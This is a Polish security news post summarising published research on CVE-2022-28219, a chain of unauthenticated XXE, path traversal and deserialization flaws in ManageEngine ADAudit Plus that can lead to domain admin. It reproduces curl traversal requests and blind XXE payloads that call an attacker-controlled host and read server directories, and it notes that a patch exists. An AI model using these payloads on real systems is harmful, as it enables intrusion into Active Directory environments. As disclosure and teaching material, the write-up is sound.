-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Seria podatności w ManageEngine ADAudit Plus. Czyli jak (czasem) od zera dostać admina domeny Windows?

05 lipca 2022, 10:54 | Aktualności | komentarze 2

Ciekawy opis podatności w ManageEngine ADAudit Plus (służącym do monitorowania zmian w Active Directory) możecie znaleźć tutaj.

Mając dostęp do kodów źródłowych aplikacji badacze najpierw poszukali URLi, które nie wymagają uwierzytelnienia. Jednym z ciekawszych okazał się być: /cewolf/ w którym udało się namierzyć RCE poprzez deserializację obiektów. Przy okazji mamy jeszcze path traversal, co zebrane w jedno daje możliwość wykonania dowolnego kodu, jednak musimy w jakiś sposób na serwerze umieścić nasz payload do deserializacji…:

curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'

Jak go umieścić? Badacze zlokalizowali inny nieuwierzytelniony URL, gdzie można było wykorzystać podatność XXE. Ale zaraz, zaraz – przecież za pomocą XXE można co najwyżej czytać pliki z serwera, czasem listować zawartość katalogów, ew. wykonywać SSRF; na upload plików nie ma szans!

Otóż są szanse w pewnym specyficznym przypadku. A że mamy tutaj specyficzny przypadek, można przystąpić do działania:

  • Mamy javę, więc obsługiwany jest quasi-protokół jar:
  • Można zastosować pewien trick, czyli użyć jako payloadu XXE takiego XMLa jak poniżej, a w trakcie wysyłania jara do serwera, nie kończyć procesu wysyłania payloadu (z naszego serwera 10.0.220.200; tzn. wysyłamy całego jara, ale później pauzujemy):
<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ]>
  • Powoduje to utworzenie (w trakcie uploadu) tymczasowego pliku jar o ~losowej nazwie
  • Listowanie zawartości katalogu /temp (payload jest nieco skomplikowany bo mamy tutaj do czynienia z blind XXE):
<?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n
  • Wynik listowania katalogu /temp może wyglądać tak:

Teraz wystarczy podać nasz plik do wcześniej wskazanego żądania:

curl –path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload’

  • I proszę:

W zasadzie konto serwisowe, na którym pracuje ManageEngine ADAudit Plus nie powinno mieć uprawnień admina domenowego, ale czasem admini idą na skróty (mniej pracy, wszystko działa „od kopa”) i konfigurują je z pełnymi uprawnieniami admina domenowego – takie przypadki badacze widzieli w realnych wdrożeniach.

Producent wydał łatkę na podatność CVE-2022-28219 – łata ją wersja 7060 ManageEngine ADAudit Plus.

~Michał Sajdak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Maf

    Lol xd 💗💗💗

    Odpowiedz
  2. Wilan

    Stary kotlet już dawno załatany. W dodatku nikt o zdrowych zmysłach nie daje pełnego admina takim narzędziom chyba, że się powierza wdrożenie amatorom to można mieć pretensje tylko do siebie

    Odpowiedz

Odpowiedz na Wilan